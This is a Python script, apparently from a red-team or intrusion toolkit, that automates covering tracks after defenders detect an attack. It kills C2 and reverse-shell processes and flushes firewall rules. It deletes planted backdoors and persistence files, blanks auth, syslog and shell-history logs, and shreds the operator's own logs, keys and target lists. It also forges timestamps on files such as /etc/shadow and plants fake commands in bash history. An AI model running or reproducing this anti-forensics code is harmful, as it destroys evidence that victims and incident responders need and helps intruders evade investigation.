#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
紧急应对系统 - 蓝队发现后的紧急处理
当攻击被蓝队完全发现并进行监控、研判、应急、溯源时的紧急应对方案

功能模块：
1. 立即断开所有连接
2. 激活紧急撤离系统
3. 清理目标服务器痕迹
4. 销毁攻击服务器数据
5. 激活反取证机制
6. 生成应对报告
"""

import os
import sys
import json
import time
import shutil
import subprocess
import threading
import logging
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Any, Optional

# 添加项目路径
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

# 导入现有模块
try:
    from modules.redteam.evacuation_system import EvacuationSystem, EvacuationConfig, EvacuationLevel
    from modules.automation.emergency_cleanup import EmergencyCleanupSystem
    from modules.security.advanced_trace_cleaner import AdvancedTraceCleaner
    from modules.security.cleaner_verify import TraceCleanupVerifier
    from modules.communication.c2_client import C2Client
    MODULES_AVAILABLE = True
except ImportError as e:
    print(f"[!] 模块导入失败: {e}")
    MODULES_AVAILABLE = False

# 颜色输出函数
def color_red(text):
    print(f"\033[91m{text}\033[0m")

def color_green(text):
    print(f"\033[92m{text}\033[0m")

def color_yellow(text):
    print(f"\033[93m{text}\033[0m")

def color_blue(text):
    print(f"\033[94m{text}\033[0m")

def color_purple(text):
    print(f"\033[95m{text}\033[0m")

class EmergencyResponseSystem:
    """紧急应对系统"""
    
    def __init__(self):
        self.start_time = time.time()
        self.response_log = []
        self.active_connections = []
        self.cleanup_tasks = []
        
        # 初始化子系统
        if MODULES_AVAILABLE:
            self.evacuation_system = EvacuationSystem()
            self.cleanup_system = EmergencyCleanupSystem()
            self.trace_cleaner = AdvancedTraceCleaner()
            self.trace_verifier = TraceCleanupVerifier()
        
        # 设置日志
        self._setup_logging()
        
    def _setup_logging(self):
        """设置日志系统"""
        log_dir = Path("logs")
        log_dir.mkdir(exist_ok=True)
        
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        log_file = log_dir / f"emergency_response_{timestamp}.log"
        
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler(log_file),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger(__name__)
        
    def log_action(self, action: str, status: str, details: str = ""):
        """记录操作日志"""
        timestamp = time.time()
        log_entry = {
            'timestamp': timestamp,
            'action': action,
            'status': status,
            'details': details,
            'elapsed_time': timestamp - self.start_time
        }
        self.response_log.append(log_entry)
        self.logger.info(f"{action}: {status} - {details}")
        
    def emergency_disconnect(self) -> Dict[str, Any]:
        """紧急断开所有连接"""
        color_red("🚨 执行紧急断开连接...")
        
        results = {
            'connections_terminated': 0,
            'processes_killed': 0,
            'services_stopped': 0,
            'errors': []
        }
        
        try:
            # 1. 终止所有C2连接
            self._terminate_c2_connections(results)
            
            # 2. 杀死相关进程
            self._kill_related_processes(results)
            
            # 3. 停止相关服务
            self._stop_related_services(results)
            
            # 4. 清理网络连接
            self._cleanup_network_connections(results)
            
            self.log_action("emergency_disconnect", "completed", 
                          f"终止连接: {results['connections_terminated']}, "
                          f"杀死进程: {results['processes_killed']}")
            
            color_green("✅ 紧急断开连接完成")
            
        except Exception as e:
            results['errors'].append(f"紧急断开失败: {str(e)}")
            self.log_action("emergency_disconnect", "failed", str(e))
            color_red(f"❌ 紧急断开失败: {e}")
            
        return results
        
    def _terminate_c2_connections(self, results: Dict[str, Any]):
        """终止C2连接"""
        try:
            # 查找并终止C2相关进程
            c2_processes = [
                'python.*c2_client',
                'python.*backdoor',
                'python.*privilege',
                'nc.*-l',
                'socat.*',
                'ssh.*-R'
            ]
            
            for pattern in c2_processes:
                cmd = f"pkill -f '{pattern}'"
                try:
                    subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                    results['processes_killed'] += 1
                except:
                    pass
                    
            # 关闭监听端口
            listening_ports = [4444, 8080, 9999, 1337, 31337]
            for port in listening_ports:
                try:
                    cmd = f"fuser -k {port}/tcp"
                    subprocess.run(cmd, shell=True, capture_output=True, timeout=3)
                    results['connections_terminated'] += 1
                except:
                    pass
                    
        except Exception as e:
            results['errors'].append(f"C2连接终止失败: {str(e)}")
            
    def _kill_related_processes(self, results: Dict[str, Any]):
        """杀死相关进程"""
        try:
            # 查找可疑进程
            suspicious_processes = [
                'privilege',
                'backdoor',
                'exploit',
                'payload',
                'shell',
                'reverse'
            ]
            
            for proc_name in suspicious_processes:
                try:
                    cmd = f"pkill -f {proc_name}"
                    result = subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                    if result.returncode == 0:
                        results['processes_killed'] += 1
                except:
                    pass
                    
        except Exception as e:
            results['errors'].append(f"进程终止失败: {str(e)}")
            
    def _stop_related_services(self, results: Dict[str, Any]):
        """停止相关服务"""
        try:
            # 停止可能的恶意服务
            suspicious_services = [
                'backdoor-service',
                'privilege-service',
                'system-update',
                'network-monitor'
            ]
            
            for service in suspicious_services:
                try:
                    cmd = f"systemctl stop {service}"
                    subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                    results['services_stopped'] += 1
                except:
                    pass
                    
        except Exception as e:
            results['errors'].append(f"服务停止失败: {str(e)}")
            
    def _cleanup_network_connections(self, results: Dict[str, Any]):
        """清理网络连接"""
        try:
            # 重置iptables规则（如果有权限）
            try:
                subprocess.run("iptables -F", shell=True, capture_output=True, timeout=5)
                subprocess.run("iptables -X", shell=True, capture_output=True, timeout=5)
                results['connections_terminated'] += 1
            except:
                pass
                
            # 清理SSH隧道
            try:
                subprocess.run("pkill -f 'ssh.*-[LRD]'", shell=True, capture_output=True, timeout=5)
                results['connections_terminated'] += 1
            except:
                pass
                
        except Exception as e:
            results['errors'].append(f"网络连接清理失败: {str(e)}")
            
    def target_server_cleanup(self) -> Dict[str, Any]:
        """目标服务器清理"""
        color_blue("🧹 开始目标服务器清理...")
        
        results = {
            'backdoors_removed': 0,
            'files_cleaned': 0,
            'logs_cleared': 0,
            'traces_removed': 0,
            'errors': []
        }
        
        try:
            if MODULES_AVAILABLE:
                # 1. 执行快速撤离
                evacuation_results = self.evacuation_system.fast_evacuation()
                results['traces_removed'] += evacuation_results.get('tasks_completed', 0)
                
                # 2. 高级痕迹清理
                trace_results = self.trace_cleaner.comprehensive_cleanup()
                results['files_cleaned'] += len(trace_results.get('cleaned_files', []))
                
                # 3. 验证清理效果
                verification_results = self.trace_verifier.verify_cleanup()
                if verification_results.get('cleanup_success', False):
                    color_green("✅ 痕迹清理验证通过")
                else:
                    color_yellow("⚠️ 痕迹清理验证未完全通过")
            
            # 4. 手动清理关键位置
            self._manual_cleanup_critical_locations(results)
            
            # 5. 清理后门文件
            self._remove_backdoor_files(results)
            
            # 6. 清理系统日志
            self._clear_system_logs(results)
            
            self.log_action("target_cleanup", "completed", 
                          f"清理文件: {results['files_cleaned']}, "
                          f"移除后门: {results['backdoors_removed']}")
            
            color_green("✅ 目标服务器清理完成")
            
        except Exception as e:
            results['errors'].append(f"目标服务器清理失败: {str(e)}")
            self.log_action("target_cleanup", "failed", str(e))
            color_red(f"❌ 目标服务器清理失败: {e}")
            
        return results
        
    def _manual_cleanup_critical_locations(self, results: Dict[str, Any]):
        """手动清理关键位置"""
        critical_locations = [
            '/tmp/.system*',
            '/var/tmp/.*',
            '/dev/shm/.*',
            '~/.ssh/authorized_keys.bak',
            '/etc/cron.d/system*',
            '/etc/systemd/system/system*',
            '/usr/lib/systemd/system/system*'
        ]
        
        for location in critical_locations:
            try:
                cmd = f"rm -rf {location}"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                results['files_cleaned'] += 1
            except:
                pass
                
    def _remove_backdoor_files(self, results: Dict[str, Any]):
        """移除后门文件"""
        backdoor_patterns = [
            '/tmp/privilege*',
            '/tmp/backdoor*',
            '/tmp/shell*',
            '/var/tmp/update*',
            '/dev/shm/mem*'
        ]
        
        for pattern in backdoor_patterns:
            try:
                cmd = f"find / -name '{pattern}' -delete 2>/dev/null"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
                results['backdoors_removed'] += 1
            except:
                pass
                
    def _clear_system_logs(self, results: Dict[str, Any]):
        """清理系统日志"""
        log_files = [
            '/var/log/auth.log',
            '/var/log/secure',
            '/var/log/messages',
            '/var/log/syslog',
            '~/.bash_history',
            '~/.zsh_history'
        ]
        
        for log_file in log_files:
            try:
                # 清空而不是删除，避免引起注意
                cmd = f"echo '' > {log_file}"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                results['logs_cleared'] += 1
            except:
                pass
                
    def attack_server_cleanup(self) -> Dict[str, Any]:
        """攻击服务器清理"""
        color_purple("🔥 开始攻击服务器清理...")
        
        results = {
            'logs_destroyed': 0,
            'tools_removed': 0,
            'data_wiped': 0,
            'errors': []
        }
        
        try:
            # 1. 销毁操作日志
            self._destroy_operation_logs(results)
            
            # 2. 清理工具和脚本
            self._remove_attack_tools(results)
            
            # 3. 销毁敏感数据
            self._wipe_sensitive_data(results)
            
            # 4. 清理临时文件
            self._cleanup_temp_files(results)
            
            self.log_action("attack_server_cleanup", "completed", 
                          f"销毁日志: {results['logs_destroyed']}, "
                          f"清理工具: {results['tools_removed']}")
            
            color_green("✅ 攻击服务器清理完成")
            
        except Exception as e:
            results['errors'].append(f"攻击服务器清理失败: {str(e)}")
            self.log_action("attack_server_cleanup", "failed", str(e))
            color_red(f"❌ 攻击服务器清理失败: {e}")
            
        return results
        
    def _destroy_operation_logs(self, results: Dict[str, Any]):
        """销毁操作日志"""
        log_patterns = [
            'logs/*.log',
            'reports/*.json',
            'reports/*.html',
            'tests/reports/*',
            '*.log'
        ]
        
        for pattern in log_patterns:
            try:
                cmd = f"find . -name '{pattern}' -exec shred -u {{}} \\;"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
                results['logs_destroyed'] += 1
            except:
                pass
                
    def _remove_attack_tools(self, results: Dict[str, Any]):
        """清理攻击工具"""
        tool_dirs = [
            'tools/',
            'exploits/',
            'payloads/',
            'scripts/',
            'modules/'
        ]
        
        for tool_dir in tool_dirs:
            try:
                if os.path.exists(tool_dir):
                    shutil.rmtree(tool_dir)
                    results['tools_removed'] += 1
            except:
                pass
                
    def _wipe_sensitive_data(self, results: Dict[str, Any]):
        """销毁敏感数据"""
        sensitive_files = [
            'config/*.json',
            'config/*.conf',
            '*.key',
            '*.pem',
            'credentials*',
            'targets*'
        ]
        
        for pattern in sensitive_files:
            try:
                cmd = f"find . -name '{pattern}' -exec shred -u {{}} \\;"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=20)
                results['data_wiped'] += 1
            except:
                pass
                
    def _cleanup_temp_files(self, results: Dict[str, Any]):
        """清理临时文件"""
        temp_locations = [
            '/tmp/privilege*',
            '/tmp/attack*',
            '/var/tmp/tools*',
            '~/.cache/privilege*'
        ]
        
        for location in temp_locations:
            try:
                cmd = f"rm -rf {location}"
                subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
                results['data_wiped'] += 1
            except:
                pass
                
    def activate_anti_forensics(self) -> Dict[str, Any]:
        """激活反取证机制"""
        color_yellow("🛡️ 激活反取证机制...")
        
        results = {
            'metadata_obfuscated': 0,
            'timestamps_forged': 0,
            'artifacts_planted': 0,
            'errors': []
        }
        
        try:
            # 1. 时间戳伪造
            self._forge_timestamps(results)
            
            # 2. 元数据混淆
            self._obfuscate_metadata(results)
            
            # 3. 植入虚假痕迹
            self._plant_false_artifacts(results)
            
            # 4. 内存清理
            self._clear_memory_artifacts(results)
            
            self.log_action("anti_forensics", "completed", 
                          f"时间戳伪造: {results['timestamps_forged']}, "
                          f"元数据混淆: {results['metadata_obfuscated']}")
            
            color_green("✅ 反取证机制激活完成")
            
        except Exception as e:
            results['errors'].append(f"反取证激活失败: {str(e)}")
            self.log_action("anti_forensics", "failed", str(e))
            color_red(f"❌ 反取证激活失败: {e}")
            
        return results
        
    def _forge_timestamps(self, results: Dict[str, Any]):
        """伪造时间戳"""
        try:
            # 修改关键文件的时间戳
            critical_files = [
                '/var/log/auth.log',
                '/var/log/secure',
                '/etc/passwd',
                '/etc/shadow'
            ]
            
            # 设置为一周前的时间
            week_ago = time.time() - (7 * 24 * 3600)
            
            for file_path in critical_files:
                try:
                    if os.path.exists(file_path):
                        os.utime(file_path, (week_ago, week_ago))
                        results['timestamps_forged'] += 1
                except:
                    pass
                    
        except Exception as e:
            results['errors'].append(f"时间戳伪造失败: {str(e)}")
            
    def _obfuscate_metadata(self, results: Dict[str, Any]):
        """混淆元数据"""
        try:
            # 清理文件扩展属性
            cmd = "find /tmp /var/tmp -type f -exec setfattr -x user.* {} \\; 2>/dev/null"
            subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
            results['metadata_obfuscated'] += 1
            
        except Exception as e:
            results['errors'].append(f"元数据混淆失败: {str(e)}")
            
    def _plant_false_artifacts(self, results: Dict[str, Any]):
        """植入虚假痕迹"""
        try:
            # 创建虚假的正常活动痕迹
            false_commands = [
                "ls -la /home",
                "cat /etc/passwd",
                "ps aux",
                "netstat -an",
                "who"
            ]
            
            # 添加到bash历史
            history_file = os.path.expanduser("~/.bash_history")
            try:
                with open(history_file, 'a') as f:
                    for cmd in false_commands:
                        f.write(f"{cmd}\n")
                results['artifacts_planted'] += 1
            except:
                pass
                
        except Exception as e:
            results['errors'].append(f"虚假痕迹植入失败: {str(e)}")
            
    def _clear_memory_artifacts(self, results: Dict[str, Any]):
        """清理内存痕迹"""
        try:
            # 强制内存回收
            subprocess.run("sync", shell=True, capture_output=True, timeout=10)
            subprocess.run("echo 3 > /proc/sys/vm/drop_caches", shell=True, capture_output=True, timeout=10)
            results['metadata_obfuscated'] += 1
            
        except Exception as e:
            results['errors'].append(f"内存清理失败: {str(e)}")
            
    def generate_response_report(self) -> Dict[str, Any]:
        """生成应对报告"""
        color_blue("📊 生成紧急应对报告...")
        
        total_time = time.time() - self.start_time
        
        report = {
            'emergency_response_summary': {
                'start_time': datetime.fromtimestamp(self.start_time).isoformat(),
                'total_duration': f"{total_time:.2f}秒",
                'response_level': '紧急',
                'threat_level': '高危',
                'status': '已执行'
            },
            'actions_taken': self.response_log,
            'recommendations': {
                'immediate': [
                    "立即更换所有受影响系统的凭据",
                    "重新部署所有受影响的服务器",
                    "审查网络架构和安全策略",
                    "加强监控和检测能力"
                ],
                'short_term': [
                    "进行全面的安全评估",
                    "更新所有安全工具和规则",
                    "加强员工安全培训",
                    "建立更完善的应急响应流程"
                ],
                'long_term': [
                    "实施零信任网络架构",
                    "部署高级威胁检测系统",
                    "建立威胁情报共享机制",
                    "定期进行红蓝对抗演练"
                ]
            },
            'lessons_learned': [
                "蓝队检测能力已显著提升",
                "需要更高级的规避技术",
                "应急响应流程需要优化",
                "工具和技术需要持续更新"
            ]
        }
        
        # 保存报告
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        report_file = f"emergency_response_report_{timestamp}.json"
        
        try:
            with open(report_file, 'w', encoding='utf-8') as f:
                json.dump(report, f, indent=2, ensure_ascii=False)
            color_green(f"✅ 应对报告已保存: {report_file}")
        except Exception as e:
            color_red(f"❌ 报告保存失败: {e}")
            
        return report
        
    def execute_full_emergency_response(self):
        """执行完整的紧急应对流程"""
        color_red("🚨" + "="*50)
        color_red("🚨 紧急安全事件应对系统启动")
        color_red("🚨 蓝队已完成监控、研判、应急、溯源")
        color_red("🚨" + "="*50)
        
        # 1. 紧急断开连接
        disconnect_results = self.emergency_disconnect()
        
        # 2. 目标服务器清理
        target_cleanup_results = self.target_server_cleanup()
        
        # 3. 攻击服务器清理
        attack_cleanup_results = self.attack_server_cleanup()
        
        # 4. 激活反取证机制
        anti_forensics_results = self.activate_anti_forensics()
        
        # 5. 生成应对报告
        response_report = self.generate_response_report()
        
        # 总结
        color_blue("\n" + "="*50)
        color_blue("📊 紧急应对执行总结")
        color_blue("="*50)
        
        print(f"⏱️  总执行时间: {time.time() - self.start_time:.2f}秒")
        print(f"🔌 连接终止: {disconnect_results.get('connections_terminated', 0)}")
        print(f"💀 进程终止: {disconnect_results.get('processes_killed', 0)}")
        print(f"🧹 文件清理: {target_cleanup_results.get('files_cleaned', 0)}")
        print(f"🚪 后门移除: {target_cleanup_results.get('backdoors_removed', 0)}")
        print(f"📝 日志销毁: {attack_cleanup_results.get('logs_destroyed', 0)}")
        print(f"🛡️  反取证激活: {anti_forensics_results.get('timestamps_forged', 0)}")
        
        color_green("\n✅ 紧急应对流程执行完成")
        color_yellow("⚠️  建议立即执行后续安全措施")
        
        return {
            'disconnect_results': disconnect_results,
            'target_cleanup_results': target_cleanup_results,
            'attack_cleanup_results': attack_cleanup_results,
            'anti_forensics_results': anti_forensics_results,
            'response_report': response_report
        }

def main():
    """主函数"""
    import argparse
    
    parser = argparse.ArgumentParser(description='紧急安全事件应对系统')
    parser.add_argument('--action', choices=['disconnect', 'target-cleanup', 'attack-cleanup', 'anti-forensics', 'full'], 
                       default='full', help='执行的应对动作')
    parser.add_argument('--config', help='配置文件路径')
    
    args = parser.parse_args()
    
    # 创建应对系统
    emergency_system = EmergencyResponseSystem()
    
    # 执行指定动作
    if args.action == 'disconnect':
        emergency_system.emergency_disconnect()
    elif args.action == 'target-cleanup':
        emergency_system.target_server_cleanup()
    elif args.action == 'attack-cleanup':
        emergency_system.attack_server_cleanup()
    elif args.action == 'anti-forensics':
        emergency_system.activate_anti_forensics()
    elif args.action == 'full':
        emergency_system.execute_full_emergency_response()

if __name__ == "__main__":
    main()